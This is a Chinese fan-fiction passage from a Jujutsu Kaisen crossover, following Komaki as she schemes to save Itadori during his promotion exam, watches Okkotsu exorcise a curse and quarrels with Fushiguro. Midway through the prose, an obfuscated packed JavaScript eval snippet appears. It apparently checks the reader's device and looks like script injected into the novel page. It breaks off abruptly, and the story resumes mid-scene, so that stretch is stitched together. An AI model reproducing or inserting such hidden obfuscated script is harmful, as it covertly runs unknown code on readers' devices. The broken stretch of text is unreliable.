“一是干掉了有违保守伦理的特级危险虎杖悠仁;二是降解了特级咒物的四分之一;三是敲山震虎警告了好用但近期格外不安分的打工仔;四是挑拨师生关系,警惕两位特级关系亲近;五是把乙骨忧太彻底拉到高层这边,多了个好用的打工仔。”问就是:“乙骨忧太违背了最强,你已经没有办法回头力”,一箭五雕想挺美,“这么拧巴的思路一般人想不出来,说不定真的在阴暗的角落里沾沾喜呢。倘若你被狱门疆封印,怕不是他们都不想让你出来?” 为众人抱薪十余年,人缘还这么差,小莳仰头喝汽水,不加锐评这种冷脸洗内裤行为。 一群贪生贪权怕劳怕死的目光短浅者,她只庆幸自己的老家已经建立相比较而言更完善的机制,现在意大利那边连吃空饷都得偷偷吃,手握权力乱指挥这种事情已经有一阵子没出现过了。 她就说咒术界缺少一些自查自纠和其余监管机制吧!建议再开个基层减负会议的同时明确每年自查项目,每个项目再准备一册台账,台账内容纳入年底考核,和绩效挂钩。 “和小莳说话就是很舒坦,从高层那边过来简直像是久旱逢甘霖。差点以为听不懂人话的竟然是我呢!”五条悟和她抱怨着,“等等,你说的不安分打工仔难道是我吗?” 这次她没有再默默听,也不就着五条悟的前言插科打诨:“你有没有考虑过杀几个?”治标不治本也能让自己痛快痛快。 反而是五条悟被她直白的语言惊扰:“这里可是有结界。”天元大人他老人家听着呢。 他又补充一句:“杀掉的话会不得人心的,最后又会是老东西下了小东西上,什么也没变。” “你最近也没做什么,除了救了一下虎杖。可他们还是因此而忌惮你,干掉两个最讨厌的,告诉剩下的人‘这就是不干活的下场,这里是咒术界,你不干有的是咒术师干!’他们就会开始优先考虑安危而不是权术了。”听就听吧,适当展露一下个人的气性也是社交里极为重要的一环。 五条悟在发脾气的时候简直就像是个小孩子--只是很烦,但威胁性几乎没有,在这方面高层讽刺地信赖他的分寸。她暂且把它归结于正派人士对邪名的忌惮,以及……除了不顾判决救了些人,损害过一些设施之外,没听说又谁真正被他杀死。 “怎么办,被你说的好心动,如果我真的一不小心干掉了几个讨厌的家伙,小莳要陪我一起受罚~” 说是这么说的,可她一看到五条悟笑得一脸甜蜜,只有淡粉色眼睑中透露一丝蓝色盈亮的眸光,就知道他不打算付诸实践,他只是在享受宽慰。 看吧,冷脸……她把压到嘴边的吐槽咽下去,改口。 “当然,以为能与你旗鼓相当甚至压你一头只不过是他们的一厢情愿,但如果你明明有能力制止却放任不管,以后也许会造成恶劣的后果。”小莳笑着摘下五条悟的眼镜,“不管看多少次还是觉得你的眼睛亮晶晶的时候真漂亮。温馨提示:不要让愚蠢的人生出太多野心,不要让他们催生更多的愚行,更强势一点也好。”不是每一次都能像虎杖悠仁复活一样有好结局的,更何况他们至今不清楚宿傩立下了怎样的束缚……如果只是双方博弈直到再不实施反转术式就来不及,虎杖不至于失去印象。 这代价不知道最后有谁来支付。 “小莳。” “怎么了?吃完了那边还有,不用问我。” 他兴致勃勃举手:“提问!我可以撬小惠墙角吗?” “我不喜欢挖墙脚的,死心吧,而且你年纪太大了。” “我反对!伏黑甚尔年纪也很大吧,而且小惠也是撬他父亲墙角的!”天杀的他还是先见到父亲再见到小莳的! “所以谈了以后才发现自己和老男人相性很差,你快滚吧。”小莳开始赶人,五条悟因为她的一句老男人非常受伤。 “小莳真讨厌,不愿意和我说实话。我要生气了!” “实话就是我以前确实喜欢甚尔,多少带点移情作用,那时候也不在意年龄。后来发现那样的想法果然很幼稚。正好换了个地方,谈场新的恋爱也是上上之选。戛然而止又不是什么引人入胜的故事还是忘了好,但惠……我确实很喜欢他,也许等他毕业了我们还会一直交往。”高专学制四年,伏黑惠现在是一年生。 “真假?那都可以结婚了吧!” “这种事情等感情真到那个程度再说,目前对婚姻制度兴趣不大。我认识的大部分女人都没从里面获得好东西。”太亏了就不干了。 五条悟的神情有些莫名……然后他问:“你真不怕前任破土而出来找你麻烦吗?当然,如果真有那种情况你可以打我的电话,深受学生信赖的五条老师,随叫随到。我现在一秒钟就可以把他超度。” 好好好,真是谢谢他了,对正在异世界享福的人重拳出击。 五条悟还想再说什么,小莳却不想给他开口的机会。 “……都说了这是巧合,我可没有什么奇怪的情节,也对替身元素兴趣不大,你还有什么事吗?”没事赶紧走。 他被赶出门走了一段路以后收到了一条讯息才折返回来,“差点忘了,今天最重要的事情是想拜托你让忧太不要干掉悠仁!如果担心宿傩的话可以用这个哦~” * 五条悟的任务预计从明天开始的三天,乙骨忧太的述职在五条悟对她发出请求时就结束了,他会在高专待到下一次长途任务。 “今晚我就勉为其难住在高专,老师在东京可有大house可以住,真是为了学生不辞辛苦的好教师!” “我就不带伊地知了,接下来几天忧太和悠仁的任务只要他有情报就会发送给你。” 看似严密认真,实则经不起推敲,五条悟给她的防宿傩道具其实只是一个窃听器…… 她夜里越想越不对劲,给五条悟发消息。 领导同事在天堂:你现在冲出去随机干掉两个人,这一切不就迎刃而解了? 他几乎是秒回。 五条悟:没用的,烂橘子都是保守派,今天述职的时候应该就被他们逼迫立下束缚了。 五条悟:安心,等我从法国回来给你带好多种巧克力,我已经做好功课了,要把这些店全吃一遍。 五条悟:#链接##巴黎你让我感到陌生##三年留学生带你吃遍……# 五条悟:不过应该不会是很强制的束缚,毕竟最强只是出国了,又不是死了。 破案了,原来帅哥也会上网看营销号。 太失礼了,自己的学生自己带啦!小莳睡不着,下楼去找男友,男友也没有睡,他自愿邀请小莳入屋,听她左左右右说了一堆话,终于进入正题。 “悟发掘了我的打架天分,这三天我预计将会成为一名女子摔角运动员。”WWE打表演赛那种。 伏黑惠没有理解她的意思。 “我有的时候会看美国摔角节目,它们的表演性和观赏性挺强。惠你没听说过吗?” “听说过,但你怎么突然提起这个。五条老师接下来几天要做什么?” 小莳想好了说法,问他:“提问,如果你尊敬的前辈有一天突然被要求打死你最好的朋友,你会……” a抱着前辈的大腿求他不要 b加入前辈 c钝角 针对为什么没有【帮助虎杖】这样的选项,因为打不过,两个加起来也打不过。五条悟说的。 在小莳生动活泼的讲解下,伏黑惠很快明白发生了什么。 “上次我没从乙骨身上感受到什么,不过既然是你和虎杖以命相搏都赢不了的对手,以及传闻中的祈本里香,那大概是我看走眼了。”他看上去只是一个疲惫的帅哥,业务能力很强。 听说是个尊师重道的好学生,和同期关系亲密,并且通过了男友严选,给他打了差评的就只有夏油杰:是个会用漂亮话骗女人的坏男人。 在他听说里香是乙骨忧太主动诅咒的、现在解咒后用的是他的diy式神以后换了说辞:一个自恋的男人,比起纯爱更像人外。 小莳没见过里香,不清楚他说的具体是何种样貌,但未来几天一切有可能揭晓。 “我猜会是第二天或者更加靠后,老实说乙骨同学应该也是消极怠工状态,一开始使出真本事后面几天更没法摸鱼,如果是我被突然安排了不想完成的工作,应该也会先想尽办法拖延的。”干了这么久活,道上的规矩应该信手拈来。 摊上了最不想做的工作排名第一的保安,小莳痛苦噘嘴抱着男友在冷冰冰的被窝里入睡。 她男友也没睡好。 第二天早上醒来,小莳就计划好了72小时的工作安排。 第一天,也就是今天,奈亚要收租,一日之内处理完毕,然后接下来两天和人偶一起请假,回匣子待命。 第二天,恰好是虎杖被搁置很久的一级审查,东堂葵早就激动的wakuwaku,一定会到现场,说不定那其中有阴谋,小莳决定跟过去看看。 最有可能发生不测的第三天,暂时还没想好。 最后的最后,是紧张刺激的planb环节,b1,她在虎杖悠仁的尸体上实施反转术式,有一位千年老人在少年院后的数小时内实施过,认证了此方案的可行性。不过她能不能做到就得看缘分了,她还没复活过谁。b2,听说乙骨忧太也很会反转术式,无论他答应的是什么,在虎杖脱离【生】的范畴后一切就结束了,大家一起祈祷。b3,宿傩,你也不想一次性被削成三只手吧?不过最好还是不要尝试对宿傩说话,甚至就像没有意识到他的存在一样行动比较好。(所以这排在b3) 不和魔鬼做交易,也不凝视深渊,这是小莳看了很多神话后总结出的一套凡人生存指南,书中的调查员们囿于凡躯,仍有对宇宙的野望,不敢懈怠,可一往直前的勇气也要有配得上它的敬畏心才能两条腿都稳稳当当站在如履薄冰的独木桥上。 她可不想一时不慎陷入疯狂,或者体验全新版本的噩梦。 这些事情小莳都没有和男友说,事以密成,暂时也没有需要他出场的地方。 她接到伊地知的消息,下午乙骨忧太有个任务。 高层还真是喜欢一鱼两吃,一点不浪费。不过多谢了,她难得提前出门坐上了伊地知洁高的副驾驶,想看看乙骨忧太有什么厉害的技能。他看上去脾气不错,听说是被校园80了以后不小心闹大了才转到高专,一定不会介意任务时有个人旁观的。 “伊地知先生,别问,你就什么也别说。”她今天就要光明正大探查情况。 伊地知洁高:“……好,,好的。” “乙骨同学,你好。”小莳隔着车窗就看见背着布袋走来,他大概会从左边上车,于是在他开门时小莳就很热情微笑着和他打了招呼。 乙骨忧太看起来并不惊讶,他扫了小莳一眼,然后同她问好:“日安,泽田同学。” 也许是个聪明人,也许他知道她是为何想跟着他。 事实确实如此。 乙骨忧太在昨日深夜前往老师的学校宿舍碰运气,碰见了他正收拾着行李袋,还询问他哪件衣服拍照好看。他要在法国景点留影发给BFF和意大利的友人。 他们聊了一些异国的风土人情,五条悟问他有没有看过WWE,得知他听都没有听说过,有点失望,然后说起了去年九月份餐厅的卷饼。 然后就以“要思考明天穿什么上飞机”为理由结束了对话,他最后再次推荐了摔角节目。 [本质是商业动作片那样的假赛节目,e代表的是entertainment,但里面的肌肉动作、拳和肉的碰撞,都能给观众带来极佳观赏性。当然我也没看过,有这时间不如多看jump,小莳给我推荐的。] 他们没有提起虎杖悠仁。 这也是他束缚的一部分。 不过五条老师足够敏锐,已经有了应对方案,不愧是他。 去年九月,五条老师出差期间,高层第一次利用咒胎孕育的特级将三位一年级后辈一同送到少年院。对于他们来说比较幸运的是,该死的死了,其他两个还活着。不幸的是,虎杖悠仁被宿傩用反转术式复活。 而五条老师在任务结束后正好与他见面,向他拜托要多多照顾同学后背,他自无不允。现在可靠的人似乎又多了一位。 观赏性比赛……吗 这次任务是个一级。 “没关系,请当我不存在,上报的时候也不必提起我,术式和武器,我都会乖乖的什么也不做的。”奇怪,她在伊地知先生面前一直很温和礼貌,但他看上去怎么这么害怕他? 伊地知害怕的是余威尚存的五条悟。 他一边鞠躬,一边说:“好的好的。” 放下帐以后,他再鞠了一躬,没转身,小碎步地后退,小莳差点以为自己成皇帝了。 “伊地知先生一直这样吗?” “更可能是看见你就想起对五条老师的尊敬心理。” “不对,这比起尊敬更像是被收保护费的人看到不良吧……” 就在她的吐槽和对方有意让聊天进行下去的共同努力下,算是相谈甚欢。 小莳看见了乙骨祓除咒灵的方式,咒力遍布全身,包括他手中的太刀,然后像没有术式的咒术师一样物理除魔。 他的身体素质似乎一般,但有了咒力的加持,肉身和武器都格外强大。武器原本也·只是普通的咒具,但日复一日的咒力输入,让它咒具化,也更具强度了。 书到用时方恨少,小莳觉得自己用咒力强化过的双眼也看不出什么门道,这方面经验还是欠缺。 “一般只会用咒力强化动作中需要用到的肌肉以及武器,为什么你要全身都用起来呢?”祓除的任务完成相当快,小莳觉得自己这一趟都白来了。 怪咒灵太弱,相当于投石问路的石头在空中就化为湮粉。 “我的身体并不强壮,说是孱弱也不为过,强化以后就可以不受伤。” “用反转术式更节约一些吧?” “是这样,但对我来说没有必要。我身上有着强到离谱的咒力量,仅以这个比较的话,比五条老师还要多。” 小莳消化了一下这句话的意思。 “那你强化起身体来就会像吃自助餐一样余裕,什么都吃也不要紧。是这样没错吧?” 乙骨忧太露出了小莳看到他以后第一个真心的笑,他说:“差不多,可咒力也会有枯竭的时候。比起五条老师因为「六眼」近似无消耗的无下限,依旧相形见绌。” 意思就是消耗战有效。 她又不想把他干掉,这条路暂时走不通。 “你的术式是什么?”感谢术式公开,大部分咒术师对自己的术式都不藏着掖着,尝试问问也不冒犯。 “是复制。”术式的复制,在条件下,可以习得他人的术式。这她觉得有点熟悉,乙骨如果去打篮球大概会和黄濑同学一样被讨厌。 他现在会言灵,真是个实诚人,他说:“如果对战特级级别的强者,会被反噬。” 目前他也未掌握其他术式。 小莳想,那就是靠咒力和对象了。能具现化假象成诅咒的咒力,无论如何也不能小觑。 她和乙骨交流起咒力操控的心得--主要是她在问乙骨,不听内容的话一般会以为是熟悉同学间的闲聊,听内容也不过是优等生讲题。 可实际上他们见面不过几次,对话不超过十句。 他对咒力的应用还真是得心应手,小莳听起来也觉得头疼,没记错的话乙骨忧太转学来到现在也才一年而已。 现在孩子们还真是伤脑筋。 他们其实算同龄。 临上车,小莳拍了拍额头说起俏皮话:“好耶,就让我来挑战一下48小时参透学习高深的咒力运用。看看能做到什么程度!” 乙骨说:“也许是24小时。” 小莳没忍住翻了个白眼,然后她说:“抱歉,不是对你,我在对两万里以外的人实施心电感应。”东京和巴黎相距大约9700公里。 现在带虎杖悠仁出国还来得及吗? 乙骨忧太颔首。上车。 小莳在后排另一侧落座,没选副驾驶。他主动和她谈起反转术式。 或许两人planb想到一起去了。 “听说有的人在死后一段时间仍然能别复活。” “啊,说的也是。”乙骨忧太朝她露出一个笑,“我之前也似曾听说过这样的事情。泽田同学是怎么看待这件事的?” 不敢看待,planb之所以是planb,就是因为它不如A计划。万一没复活马上就有两场葬礼参加了,好东西也不能多吃,一顿就够了。 看法就是忧郁的蓝调,她摇摇头:“哎,我不想吃萨莉亚了。” “?” “我是说,听说那边有气泡水无限畅饮,我之前很期待的。”小莳叹了口气:“我一般要有七成的把握才会大胆尝试,不瞒你说,我目前处理过最严重的伤是帮小区附近难产的流浪猫接生,顺便救助了一只生命力不太顽强的小猫,它快死了,在母体里缺氧窒息,但是没有完全死。现在它长这样。” 这是仅有一次的和「死」相关的反转术式经历。她打开手机相册给旁边的人看,长得不太机灵的奶牛猫在办公桌上用后脚挠头。 是一只小猫。 “小猫你是知道的,它本来就要死的,死马当作活马医,失败了也不会遗憾。”虎杖的话还是不要了吧。 乙骨忧太只说自己的反转术式还算好用。 但他肯定没救过死人。 不要紧,反转术式她掌握了两个月,但幻术已经十几年了。退一步说,专注于虎杖的器官拟造也是个选择。 只要他还有一口气,无论如何她都能让他保持存活。 即使是心脏、咽喉、大脑被刺穿的分秒之间,她都能迅速构造出稳定的幻觉。 乙骨忧太应该不会把人斩断……吧。 但她还是想看一眼传说中的祈本里香。 “乙骨同学,我可以看看你的里香吗?” * 今天是收获满满的一天。 “看见祈本里香的时候,我发现我对乙骨看法错得离谱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于乙骨在高层的的投名状,五条悟刀人的由头这种事,她才不想承担呢! 伏黑惠被小莳的碎碎念带动起沟通欲:“出国的任务一般会派给职业咒术师,对学生来说要独立处理整件事……话说资本家也不会压迫到未成年吧。” 小莳瞥了一眼没有护照的男朋友,她想的是,乙骨忧太这不就出去了好几趟了。不过她和那些喜欢拿别人家小孩对比的成年人不同,她可是很成熟的,所以意念之后又回去想重要的事情。 祈本里香可是挺强的,而且作为式神大约和奈亚的底层罗技有点像,她很有……性格,无论对乙骨的病态依恋是前情如此还是乙骨本人的潜意识,一旦她产生像小狗叼球在主人面前邀功的心思或是嫉妒情绪,难缠程度更上一层楼。对于式神祈本里香来说,乙骨就是世界,是她的爱人、主人,是她所信仰的全部。余者皆不重要,良知根本没有,扭曲又纯粹。 唔,小莳灵光一现,想到一个好办法。方案很粗糙,但作为计谋大概率行之有效。 她没和男友分享自己的小妙招,只邀请他明天一起参与虎杖的升格审查:“虽然在帐解除之前一切都会尘埃落定,但你应该会期待见到他吧。告诉他你想去,然后带上野蔷薇,晚上我们四个可以喝点气泡水,庆祝又活过一天。” “我什么都不用做吗?”伏黑惠想,无能为力的感觉,还真是,讨厌。 五条悟没和他提起,他甚至不想让学生知道;小莳说这些则只是源于情侣间的分享,并不指望他做什么。可这仍然引起了他的复杂情绪。 面对严峻情势而帮不上忙,对于他来说是一种打击。小莳意识到这一点,“你陪我练习,这种事情就不劳烦虎杖和钉崎了。体术和咒力,在这种期末考近在眼前的局势下,没有一个危在旦夕的考生能抵挡熬夜学习的诱惑。” 虽然没有什么用,但是不学更考不了,大概是这种心态。 小莳在过往的十几年人生里从没有体验过死气弹,她对衣服飞飞这种事情相当抵触。但她今天难得真实体验了一把传说中必死的信念。 她挥刀的时候,隐约体会到了以前没认真学的剑气。不知道斯库瓦罗是会感动到落泪,还是生气得想骂她。 “我在剑道上天赋寥寥,悟性不错,但雾之火焰一般不被使用来强化身体,培养出阿武以后我的一个男妈妈就爱上了教学工作,但对我……总之这一切进行的不是很顺利,他的前同事也觉得术士不应该落于体术这种歪门邪道的陷阱。他也没再逼我。” 可有了咒力的加持,她也能做到一些原本做不到的事情。 小莳丢下剑,走上前捏了捏男友僵硬的手臂:“刚才那一下弄疼你了吗?抱歉,我好像一时之间没控制住咒力,右手和武器有点多。” “没事。小莳,你再试着这样劈砍。”伏黑惠给小莳又示范了一个动作。 她突然想到惠的体术大体是由悟和真希传授,现在他又辅导了她。也是吃上二手饭了,小莳。她这样打趣自己。 肌肉记忆这件事情几近玄学,小莳不好说这一切是否能如期派上用场,但男友的情绪确实因为运动分泌的多巴胺运转正常。 练习、休息、练习,小莳所做的就只是重复而已,直到夜半五更。 运动带来的疲惫固然扰人,但更难以忍受的其实是身体在反应过来之后报复性酸痛,难耐的感觉沿着血管散发,诉说自己曾遭受过多超出范围的勉强。 身体是一款真的会组织罢工警告的工会,但这些在反转术式面前不过是小打小闹。即使不用来战斗,在日常生活中派上的用途也大有可观。 比如难得一两天不睡觉也不要紧。 式神的反转术式治疗显然不如自备技能来得方便,伏黑惠在数小时的锻炼后难得比小莳更先感到疲惫,她便建议他去睡觉。虎杖的考核定在早上十点,无车接送,预计九点要出门乘坐公共交通前往,他还能安眠几小时。 伏黑惠抱着她还回的脱兔没动,他问:“还需要我做什么吗?” “你已经做够多了,接下来交给我就好。”在哪个世界都没有人员充足情况下要让16岁未成年上的道理,虎杖悠仁甚至还没16,摊上宿傩算他倒霉。 小莳现在相当有自觉,这和维护并盛基础设施一样是阶段性工作,忙完就结束,一眼能看到头的任务总能比战线拖长的无尽马拉松更令人感到轻松。 她愿意为此多付出些时间。 “你不睡觉吗?” 说实话,不打算。她摇头,回头问:“是在担心我吗?还好,一切还在掌握之中。” 不……伏黑惠甚至羞于启齿,一阵名为无力感的情绪席卷全身,沿着脊柱蔓延大脑,在其中发酵。小莳看出了伏黑惠的不安,今天她也很辛苦,睡懒觉以后就没歇过一刻,姑且把他的低自我价值问题往后推一推:“你有点不对劲,等明天结束了我再--” 等战争结束就回去结婚。 一闪而过的既视感,小莳被这不吉利的想法一噎。 虎杖的生命固然可贵,但自己的性命果然要排在优先级更高的地方。乙骨没有给她极度危险的感觉,且他看上去为人正直,但这种风险果然还是能免则免! 她摊手:“算了,脱兔。”这是准备话疗的同时撸小动物。 一分钟后,小莳抱着兔子,两双眼睛一起盯着伏黑惠,没人说话。 伏黑惠脸上闪过一丝尴尬:“那个……” “如果你是那种发生了什么事只偷偷闷在心里等女朋友猜的男人就太糟糕了。” “……” “总之请抛下你油然而生的男子气概不要大意地开口吧!就当是为了让我能活过明天好了。”犹犹豫豫不开口,然后等到车祸现场伤者已经失去意识的时候才一股脑全盘托出,最后手术失败这种案例也屡见不鲜,绝对是大凶之兆! 他说他很抱歉,第一次没能救得了虎杖,让他吞下手指成为了容器;第二次没能阻止宿傩的阴谋,让他被蒙骗着立下了现在仍然不知内容的束缚;而这次也依旧如此,他的考核极大概率沦为刺杀,而自己再一次不可避免的成为局外人。 他觉得自己不够强大,愧对朋友的信赖。 小莳可太熟悉这样的夸奖了:“不,他大概就是随口一夸,真心归真心,忘性归忘性。”虎杖可是个今天做好事,明天就忘掉的好宝宝,要是知道自己无意之间提出的期待反而让朋友产生包袱,反而会不好意思。而且……世界是一个巨大的程序,代码能跑就不要追究。 “虎杖这不是还活着吗?我们就赌他能在众人的簇拥下寿终正寝。” 伏黑惠一点也没因为女友的诡异幽默而笑出来,他不觉得有趣。 “不,说真的,这世界像个肠胃不太好的家伙,到处等着人擦屁股,把糟心事都当做是责任的一部分只会害了自己,过度的责任心和磕了上瘾一样不值得提倡,掌握反转术式的小莳医生提醒你:赶紧戒断。也许这些顾虑真的是你成长路上的一大阻碍也说不定。”明天会是一个平安夜,但即便所有人都不在了,那也不是他的错。 这句话因为指向太过于flag而被小莳隐而不宣,她决定等问题解决以后发动虚拟时光机,即告诉男友“我早就说吧,没事的。” 他闭上眼,小莳和她视线的接触被脆弱的眼皮阻隔,像是他给自己布下了立入禁止的帐:“就算你这么说,我只是,没有办法不去想。” 她在这方面算是个急性子,因此直接说:“那你快点变强吧,到时候无论是和你的老师一样做个专业扫尾还是做个退堂鼓大师都随你。但如果只是在原地自顾自焦虑的话很难有突破哦,惠。” 想要做一般咒术师的话,干到一级成为说的好听点是“中流砥柱”,直白点就只是“没了你还有他,总之不缺你”大伙中的一个就行,为了钱,为了爱,为了责任,怎样都好,反正大家聚集在一起是响应任务。要再往上走,天赋和悟性就缺一不可了。看五条悟的想法好似和她相仿,过多的心念反而会在前进的道路上作茧自缚。 她不理解男友为什么就不能放自己一马,更自由一些。 他不理解女友为什么讲话就不客气起来,夹枪带棒的。本来就不算好的脾气伴随焦虑一起被点燃激发:“哈?” 这样的语气她还是第一次从男友口中听见,看来这家伙还真有脾气不好的一面。 小莳不想和他说话了,吵架没意思。她发出一声清晰的叹息,再次看向男友时,眼中既没有笑意也没有愤怒,面无表情。 伏黑惠好像能感觉到周身的空气也因为她的一瞥而稀薄,只有他的心因为神志没有跟上身体而狂跳,他不应该发出那种声音,她一定不高兴了,稍后他才意识到事实绝非仅仅如此。 她只是用视线掠过他,好像他是什么和地板座椅无甚差异的物件,最后的目光留在地上因没有接受任何指令而看上去像发呆的脱兔。她半蹲下摸了摸它的头。 伏黑惠听见她没什么感情冷冰冰轻飘飘的声音:“我不明白你有如此才能,却担忧无法使用它,还真是蓬心尤在。不说了,晚安,明天见。” 她离开了。 78. 第 78 章 米花町是个人才辈出的地方,每个世界都有自己的佛罗里达,在一个世界观为无神无特异能力的世界,特殊的人也如过江之卿般涌现。 其中有一位小莳有意避免与之深入交往的朋友,她是个相当的善良的人,会因为他人的不幸而发自内心忧伤;也是个聪敏的孩子,成绩人缘皆好;体术好到可以一米之内赤手空拳躲子弹。 里包恩曾评价山本武【是个天生的杀手】。天赋而言,小莳判断毛利兰也不遑多让,当然,她是个遵纪守法,父亲是侦探母亲是律师的纯种良民,像她这样的女孩,又有一流的天资,做什么会不好呢? 上个大学,去做空手道职业选手,做个翻译,职业雀士,或者干脆也去考警校,总之会是有趣的经历。可这样的女孩,也甘愿为两个男人让步很多。 她想父母重归于好,可母亲不愿总受累,离开了,父亲相当有男子气概,把婚姻失败的重责提交给了妻子,至少这两个人在那时都没有太多的考虑她。 她想养只小猫,可父亲说过养猫的女人会骄傲,骄傲使人落后,他们家现在只住了个变身小孩的男友。顺便一提她母亲分居后养了只猫,可爱的很。 她的父亲连她都带不好,养小孩的工作自然就……做家务养小孩、赚零花钱打工、和与朋友出去玩似乎是难以达成的三角。她一般只在休息日娱乐,其她时间要回家做饭,零花钱不够的时候还要打工,她父亲这时候倒不说“让女人幸福是男人的责任了。”小莳见过的所有人中,好像只有一个灰原雄会快乐打工,但这很难分辨,因为他总是很快乐,不晓得他是本性所致还是真的爱打工。其余大部分都是抱着“赚钱”“锻炼自己的能力”“找点事做”,打工可不是什么爱好。 当然,她也会因为十天半个月传不来一条消息的男友而伤心。她是一个感情上颇为克制的女孩,一段消息没有回音一般就不会接下一段,这样工藤新一打开他不常用的手机后……就不用受到99+的信息轰炸。 她的分享欲很多,其实。 会因为对于父母婚姻的无帮助而难过,会因为男友音讯渺茫担忧。然而她并不怨恨谁,这些情绪只面向她自己的心。 伏黑惠的迷茫和局促焦虑让小莳想到这位故人。老实说他们其实相差甚远。 只是,有天赋的孩子也会身怀重宝而不知,也会疑心自己并非璞玉,也会怀着“不可越过”的心思仰望未来就有可能抵达的地方,就只是仰望。无论看多少次这种事,她总也会像五岁女孩第一次看到象征王者的老虎一样惊讶,为复杂的人心。 米花自有町情,父亲以前又糊涂得很(现在大部分时候也依旧,但有麻醉兜底),长成17岁年纪,岁月难免对天赋有所消磨,心性也难不折损。 但惠这又是什么情况,入学一年领域也开了,贯牛也快调伏了,是公认的天才,他想要的还有什么是再付诸努力还得不到的呢? 难道说是因为五条悟?听说高大的树木旁边长不出茁壮的树苗,因为大家伙遮住了阳光,也许她的男朋友看五条悟也会像看一座无法越过的高山。 小莳的脑袋里不合时宜地钻出了弗洛伊德和他遇事不决弑父的理论。 自尊心她可懂,但是提及在独特社会背景和家庭背景条件下蜕变出的男性自尊心,这小莳就不明白了。她以前也不在乎男人想什么。 不管了。 虽然大家都是从小离开了妈,也没有什么好的爸,三人都是如此。不过原生家庭这种事向来难插手,不想装作自己很懂的样子,以后说话都避开这些吧,她想。 而至于他会自我怀疑的能力问题,一切都会随着时间和五条悟解决的,等悟的教学水平提升一切都会变好的!这种事情女朋友可不好越俎代庖,特级的美女分寸感也是特级。 在伏黑惠身上,生得术式的升级方向、咒术界的评判升级体系、老师对他的教导、他自己的期待,罕见的完全都是同一方向,他的路径在开始就已经被定好,像一条掌纹不驳杂没有分叉的生命线,预示这位天才大抵会顺遂又平稳行进到顶点的一生:在极佳的天赋下一步一步掌握术式、提升等级和知名度、在最强兼教师的带领下继续、自我实现。 打败了百分之九十九拆东墙补西墙,才命相违,双刃剑,各路神仙来捣蛋的无滤镜人生道路。 总是事与愿违,总有什么不可抗力阻碍,若都没有,那便平庸。这才是寻常人的一生啊。 小莳在走回宿舍喝上造物泡的热茶前就顺利把事情抛在了脑后:不管他在想什么,以后都会好起来的。几乎走不上歧途的小天才,她决定就不过分关心了。她要研究一下咒力覆盖和强化的尺度。 虎杖的命也是命,她现在有一种实习三个月突然被通知上手术台主刀的紧张感。本着对患者负责的态度,稍微通宵以示尊敬。 一般来说实习三个月都上不了手术台,最多见习。 * 元气男高小虎的半天 虎杖悠仁是一年级三人中最后被安排一级咒术师考核的,不喜欢被人以姓氏称呼的真希学姐告诉他一定要把握机会,不然下次审查遥遥无期:“保守派最讨厌你这样没办法掌控的新生代了。家世没有。术式没有。但身体素质能和天与咒缚者对上,更不用说还有宿傩。” 高层的判刑他并不介意,加入高专的本意只有两条,一是活得久一点,二是在这里变强,帮助他人,但只要一想到今天以后任务的奖金就能上涨六七成……可以去更大的影院看电影,可乐爆米花零食畅享,wakuwaku!以后去看顺平说不定可以直接打的,算了,这个有点超过,果然还是要乘公共交通。 而且那样比较环保。 两天前最后见到的尊敬教师承诺会给他带伴手礼作贺礼:“悠仁的话一定能轻松完成任务,然后轻松的超级有钱。要不要给同行的忧太也带点礼物呢,真是苦恼啊~” 一般来说同行进行资质审查的一级咒术师会在前一天才被联络确认,五条老师还真是未卜先知,泰裤辣! 清早起来,拥抱太阳,但乙骨前辈神情恹恹,远不如他开心。虎杖猜测这是他不知道多少次资质认定,恐怕早没了兴趣。 于是他很有干劲地保证:“我会尽快完成任务,不让前辈耽误太多时间的。”考官是同一师门的直属前辈,luckey,是个好兆头。 乙骨忧太的身上没了前几次见面可怖的气势,看来真的兴致不高,闻言点头,只对他说:“好的。” 熊猫搭着狗卷前辈的肩膀说话,声音传进他的耳朵:“忧太难道是和里香吵架了?” 狗卷:“鲑鱼子大芥。” 不,式神的话应该不太会吵架。虎杖想起了总是气呼呼的朋友,虽然他长着一张会给海鸥点火的脸……果然他不会和自己的式神吵架,毕竟玉犬和圆鹿可喜欢他了! 情,情侣的话,虎杖想到这里有点脸红,应该也不会吵架吧?乙骨前辈的里香难道说是和泽田的匣兵器奈亚相似的类型,人形式神? 在他因为喜悦混杂些许紧张的情绪中,原本与他相对和同学们站一起的乙骨前辈朝他点了点头,先一步离开,在前辈们“听好了一定要这次就顺利袚除”“虎杖上啊”“鲑鱼鲑鱼”声音下如梦初醒,虎杖一一应着,转身跟上背着布袋的沉稳学长的步伐。 乙骨前辈身上有着和娜娜明一样可靠的气息,今天一定会顺利。 高专门口停着一辆车,副驾驶位上的泽田小莳热情朝他们打招呼:“男孩们,早上好。” 原来自行前往只针对受试者,被高层安排来审查的考官有专车接送。 虎杖今天第二次觉得幸运:“能跟在前辈后面实在是太好了!”立省30分钟和一点钱。 习惯冷遇的他顶着双倍好运的buff,又在后座看到了意想不到的朋友,这位朋友顶着一双黑眼圈,浑身散发着生人勿进的气息:“伏黑!你也在这里啊。” 同级好友是很好的人,救了他很多次,虽然以前看上去总是很生气,但总之就是很好。 本次的记录员及驾驶人是老熟人伊地知先生,虎杖很热情和他打了招呼,只是不知道他怎么看起来有些紧张,还在擦汗。 不过,这车上的人是不是有点多了? 好心的泽田给他解释:“因为惠惠说无论如何都不能错过bff的晋升,所以我跟着一起来凑热闹。” 他好感动,因为伏黑的晋升任务没和任何人说,那天他们都以为只是一次普通的派遣,伏黑回来以后也什么都没说,只是在那以后的一次的酬金打款时,他眼尖的发现明明是一起完成的,伏黑的金额却比他高不少。 式神的事情也是,他在少年院身体被宿傩占用时毁坏了伏黑的蛇式神,可他事后一个字也没透露,他还是从五条老师那边听说的;姐姐的事情也是,不会和同学说自己的事情的伏黑居然在这种时候这么关心他。 “伏黑,你真好!” “闭嘴。” “话说你为什么不和泽田坐一起,你们也吵架了吗?”bff担忧得黑眼圈都起来了,虎杖决定幽默一下。 效果不太好。 “滚啊!” 泽田同学一脸轻松的样子不像是他以前见过的情侣剑拔弩张的形式,虎杖不再细究,等着到达目的地。 